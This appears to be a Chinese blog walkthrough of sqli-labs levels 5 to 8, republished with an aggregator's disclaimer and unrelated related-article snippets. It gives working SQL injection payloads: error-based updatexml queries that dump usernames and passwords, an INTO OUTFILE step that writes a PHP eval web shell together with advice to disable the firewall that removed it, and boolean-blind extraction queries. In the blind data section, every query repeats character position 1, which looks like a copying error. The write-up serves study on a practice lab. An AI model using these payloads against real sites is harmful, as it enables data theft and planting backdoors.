sqli—labs靶场 5-8关 (每日4关练习)持续更新!!!

Less-5

上来先进行查看是否有注入点,判断闭合方式,查询数据列数,用union联合注入查看回显位,发现到这一步的时候,和前四道题不太一样了,竟然没有回显位???

我们看一下源码,发现源码和前几道题有点差异,我们尝试报错注入,让页面回显对数据库的报错信息,报错注入有很多,例如floor,updatexml等等,我们这里用updatexml报错注入试一试是否可行!!!

我们简单说一下updatexml报错注入

1.updatexml函数格式为updatexml(xml_doument,XPath_string,new_value);

所以说这里我们需要认识到它三个参数的含义是什么?

1、第一个参数其实就是XML的内容
2、第二个参数就是需要更新update的位置XPATH路径
3、第三个参数就是更新之后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

 我们使用  updatexml(1,concat(0x7e,(...),0x7e),1)

大家会很好奇 中间0x7e 是什么东西,这个是因为0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。如果不添加该不属于xpath格式的参数无法引发正确的报错。

所以接下来按规矩办事,先查库,再查表,最后列

数据库名:

?id=0' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

表名

?id=0' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

列名:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

注入:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

这里我们又看到查询回显内容很少,这里就因为updatexml报错最大只能容纳32个字节

我们使用limit分段回显    limit n,1

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)--+

........

Less-6

上来先进行查看是否有注入点,判断闭合方式,查询数据列数,用union联合注入查看回显位,发现到这一步的时候,和第五道题一样啊,只不过是闭合方式有改变,第六题的闭合方式是双引号"

那么解题步骤和第五题一样,直接演示最后一步

?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

Less-7

上来先进行查看是否有注入点 直接?id=1,发现有显示outfile??这是什么,经过查询一下资料,原来这到题让写一个外部木马文件,我感觉第7题还是有点难度的,大家要是看不懂我写的,建议去b站看一下专业人士的视频讲解!!!

接下来判断闭合方式和回显位置,这些步骤就不演示啦

接下来开始写马,写马需要一个函数就是into outfile()函数,就是将外部文件写入

?id=1')) union select 1,"<?php eval($_POST[phpinfo()])?>" ,3 into outfile"F://phpstudt//phpstudy_pro//WWW//sqli-labs-php7-master//Less-7//shell.php"--+

into outfile后面的文件的路径根据自己电脑的路径自己写

注意:需要into outfile函数需要配置 mysql的 my.ini 文件!!!

在my.ini文件中修改secure_file_priv=""这个语句,要是没有这个语句,直接添加就好了!!!

secure_file_priv这个就是限制MYSQL对于文件的导入与导出,改为空就没事了

还有就是我执行操作的时候,一直没有成功写入,后来才发现是电脑防火墙把咱们写的一句话木马给删除了,该说不说,微软的防火墙是真的牛,大家可以把防火墙关闭,或者下载火绒安全,弄一个白名单(信任区),这样可以避免这样的麻烦(刚才真的困扰我好久)!!

成功!!!

Less-8

上来先进行查看是否有注入点,判断闭合方式,查询数据列数,用union联合注入查看回显位,发现到这一步的时候,和第五道题,第六题一样啊

让我看看题干有没有提示!

原来题干说了呀,是布尔盲注,我们就用布尔盲注解题吧!!!

那我们先介绍一下布尔盲注

length()函数 返回字符串的长度

substr()截取字符串  (语法:SUBSTR(str,pos,len);)

ascii()返回字符的ascii码值 (将字符变为数字)

开始解题

猜解库名长度

?id=1' and (length(database()))=8--+   (后面=8需要自己一个个试出来的)

利用ASCII码猜解当前数据库的名称,需要对照ASCII表一次查找!大家自行搜索一下

//security

substr(database(),1,1))  第一个1是位数,第二个1是个数,所以之后改变第一个的数值就ok了,然后后面的值需要大家一步步尝试,这里就不演示啦

?id=1' and (ascii(substr(database(),1,1)))=115--+    >>>s

?id=1' and (ascii(substr(database(),2,1)))=101--+    >>>e

?id=1' and ascii(substr((database()),3,1)) = 99 --+   >>>c

?id=1' and (ascii(substr(database(),4,1)))=117--+    >>>u

?id=1' and (ascii(substr(database(),5,1)))=114--+    >>>r

?id=1' and ascii(substr((database()),6,1))=105--+    >>>i

?id=1' and (ascii(substr(database(),7,1)))=116--+    >>>t

?id=1' and (ascii(substr(database(),8,1)))=121--+    >>>y

 。。。一个个去尝试找到一个8位的库名

猜表名

//emails

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 --+    >>>e

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)) = 109 --+    >>>m

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)) = 97 --+      >>>a

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)) = 105 --+    >>>i

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)) = 108 --+    >>>l

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)) = 115 --+    >>>s

也是需要一步步尝试 

 猜字段

//id

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)) = 105 --+    >>>i

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1)) = 100 --+    >>>d

//emali_id

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),1,1)) = 101 --+    >>>e

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),2,1)) = 109 --+    >>>m

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),3,1)) = 97 --+      >>>a

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),4,1)) = 105 --+    >>>i

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),5,1)) = 108 --+    >>>l

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),6,1)) = 95 --+      >>>_

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),7,1)) = 105 --+    >>>i

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),8,1)) = 100 --+    >>>d

获取数据

//Dumb@dhahhan.com

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 68 --+      >>>D

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 117 --+    >>>u

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 109 --+    >>>m

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 98 --+      >>>b

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 64 --+      >>>@

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 100 --+    >>>d

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 104 --+    >>>h

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 97 --+      >>>a

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 104 --+    >>>h

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 104 --+    >>>h

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 97 --+      >>>a

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 110 --+    >>>n

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 46 --+      >>>.

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 99 --+      >>>c

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 111 --+     >>>o

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 109 --+    >>>m

成功!!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/60395.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从建立TRUST到实现FAIR:可持续海洋经济的数据管理

1. 引言 随着我们对信息管理方式的信任&#xff0c;我们的社会对数字化数据的以来呈指数级增长。为了跟上大数据的需求&#xff0c;通过不断的努力和持续实践&#xff0c;对“good”数据管理方式的共识也在不断发展和演变。 加拿大正在建设国家基础设施和服务以及研究数据管理…

基于GPS/GIS数据融合与预处理技术的工厂导航系统(三)

在智能制造与智慧物流的背景下&#xff0c;厂区导航系统的高效性与准确性至关重要。然而&#xff0c;GPS信号易受环境干扰&#xff0c;GIS数据则可能因来源多样而存在误差。本文旨在通过详细剖析GPS数据的获取、解析与误差校正&#xff0c;GIS数据的导入、图层管理与空间数据清…

Django 外键引用另一个表中的多个字段

在 Django 中&#xff0c;外键&#xff08;ForeignKey&#xff09;通常只引用另一张表的一个字段&#xff0c;比如一个主键或一个唯一标识字段。然而&#xff0c;如果我们需要让一个外键引用另一张表中的多个字段&#xff0c;通常有以下几种方法来实现这种关系。 1、问题背景 …

Python爬虫项目 | 一、网易云音乐热歌榜歌曲

文章目录 1.文章概要1.1 实现方法1.2 实现代码1.3 最终效果 2.具体讲解2.1 使用的Python库2.2 代码说明2.2.1 创建目录保存文件2.2.2 爬取网易云音乐热歌榜单歌曲 2.3 过程展示 3 总结 1.文章概要 学习Python爬虫知识&#xff0c;实现简单的一个小案例&#xff0c;网易云音乐热…

ffmpeg内存模型

文章目录 展示图拷贝packet 重要&#xff01;&#xff01;&#xff01;avpacket.c相关函数av_packet_alloc 简单的赋值 里面的还有没有进行初始化的指针av_packet_ref 展示图 拷贝packet 拷贝packet有两种情况 1&#xff1a; 两个packet的buf引用的是同一个数据缓冲空间&#…

全域旅游平台(源码+文档+部署+讲解)

本文将深入解析“全域旅游平台”的项目&#xff0c;探究其架构、功能以及技术栈&#xff0c;并分享获取完整源码的途径。 系统概述 文旅-全域旅游平台-洛享游 包含景区、住宿、美食、演出、 路线、游记、购物、服务等模块 本项目名称为全域旅游服务管理平台&#xff0c;旨在为…

Unity内置渲染管线升级URP,使用ShaderGraph

问题描述 在内置渲染管线的工程中&#xff0c;导入之前通过ShaderGraph制作的Shader。 文件不可打开&#xff0c;我们需要升级成URP 过程记录 当前Unity版本 2022.3.49 安装Package 创建配置文件 Assets -> Rendering -> URP Asset 创建成功 修改配置 Edit->P…

【Flink】-- flink新版本发布:v2.0-preview1

目录 1、简介 2、非兼容变更 2.1、API 2.2、连接器适配计划 2.3、配置 2.4、其它 3、重要新特性 3.1、存算分离状态管理 3.2、物化表 3.3、批作业的自适应执行 3.4、流式湖仓 4、附加 4.1、非兼容性的 api 程序变更 4.1.2、Removed Classes # 4.1.3、Modified Cl…

flink sql同步mysql数据表到mysql

1. 关闭防火墙和selinux systemctl stop firewalld systemctl disable firewalld systemctl status firewalld2.安装java8 yum list java-1.8* yum install java-1.8.0-openjdk* -yjava -version3.下载和部署mysql yum -y install wget wget https://dev.mysql.com/get/Down…

Rust枚举之卧龙凤雏(Rust Option枚举、Rust Result枚举)(Rust Enum、Some(T)、Ok(T)、Err(E))链式操作

文章目录 Rust 枚举之卧龙凤雏枚举的基本概念枚举定义示例 Result 枚举&#xff1a;凤雏Result 枚举的定义Result 的使用场景示例 1&#xff1a;文件读取示例 2&#xff1a;链式操作与错误处理 Option 枚举&#xff1a;卧龙Option 枚举的定义Option 的使用场景示例 1&#xff1…

计算机网络-1.2分层结构

文章目录 三种分层结构OSI 七层模型&#xff08;Open Systems Interconnection Model&#xff09;TCP/IP 四层模型混合模型各层之间的关系PDU,SDU,PCIPDU&#xff08;Protocol Data Unit&#xff09;SDU&#xff08;Service Data Unit&#xff09;PCI&#xff08;Protocol Cont…

C++玩转物联网-从零开始:树莓派Pico的“Hello World”项目入门指南

树莓派Pico是一款功能强大且价格实惠的微控制器&#xff0c;非常适合编程初学者和电子爱好者。本文将以“Hello World”项目为例&#xff0c;带您快速入门树莓派Pico的基本操作和配置&#xff0c;为日后探索更复杂的项目奠定基础。 1. 项目概述 “Hello World”项目是树莓派P…

启动本地开发环境(自带热启动)yarn serve

文章目录 1. 安装 Yarn使用 npm 安装 Yarn使用 Chocolatey 安装 Yarn&#xff08;Windows 用户&#xff09;使用 Homebrew 安装 Yarn&#xff08;macOS 用户&#xff09; 2. 安装项目依赖3. 启动项目开发模式启动生产模式启动 4. 构建项目开发模式构建生产模式构建 5. 其他常用…

nodejs 020: React语法规则 props和state

props和state 在 React 中&#xff0c;props 和 state 是管理数据流的两种核心机制。理解它们之间的区别和用途是构建 React 应用程序的基础。 一、props 和 state的区别 特性propsstate定义方式由父组件传递给子组件的数据组件内部管理的本地数据是否可修改不可变&#xff…

架构师备考-概念背诵(软件工程)

软件工程 软件开发生命周期: 软件定义时期:包括可行性研究和详细需求分析过程,任务是确定软件开发工程必须完成的总目标,具体可分成问题定义、可行性研究、需求分析等。软件开发时期:就是软件的设计与实现,可分成概要设计、详细设计、编码、测试等。软件运行和维护:就是…

刷题强训(day06) -- 大数加法、链表相加、大数乘法

目录 1、大数加法 1.1 题目 1.2 思路 1.3 代码实现 2、链表相加&#xff08;二&#xff09; 2.1 题目 2.2 思路 2.3 代码实现 3、大数乘法 3.1 题目 3.2 思路 3.3 代码实现 1、大数加法 1.1 题目 1.2 思路 这道题可以模拟列竖式相加解答&#xff0c; 将每一位都转…

Java多线程编程(四)- 阻塞队列,生产者消费者模型,线程池

目录&#xff1a; 一.阻塞队列 二.线程池 一.阻塞队列 1.阻塞队列是⼀种特殊的队列. 也遵守 "先进先出" 的原则 阻塞队列能是⼀种线程安全的数据结构, 并且具有以下特性&#xff1a; 1.1.当队列满的时候, 继续入队列就会阻塞, 直到有其他线程从队列中取走元素 1.…

open3d

open3d open3d用于 3D 数据处理的现代库。 简介 Open3D 是一个开源库&#xff0c;支持快速开发处理 3D 数据的软件。Open3D 前端公开了一组精心挑选的 C 和 Python 数据结构和算法。后端经过高度优化&#xff0c;并设置为并行化。Open3D 是从零开始开发的&#xff0c;具有一更…

洞察鸿蒙生态,把握开发新机遇

随着科技的不断进步&#xff0c;鸿蒙系统以其独特的分布式架构和跨设备协同能力&#xff0c;逐渐在智能手机、智能穿戴、车载、家居等多个领域崭露头角&#xff0c;与安卓、iOS形成三足鼎立之势。作为一名开发者&#xff0c;我对鸿蒙生态的认知和了解如下&#xff1a; 一、鸿蒙…

adb 如何通过wifi连接手机

1. 电脑通过USB线连接手机 1.1手机开启开发者模式 以小米手机为例&#xff1a;连续点击OS版本系统&#xff08;设置–>我的设备–>全部参数&#xff09; 1.2在开发者模式下&#xff0c;启动允许USB安装与USB调试 操作步骤&#xff1a;设置>更多设置>开发者选项&g…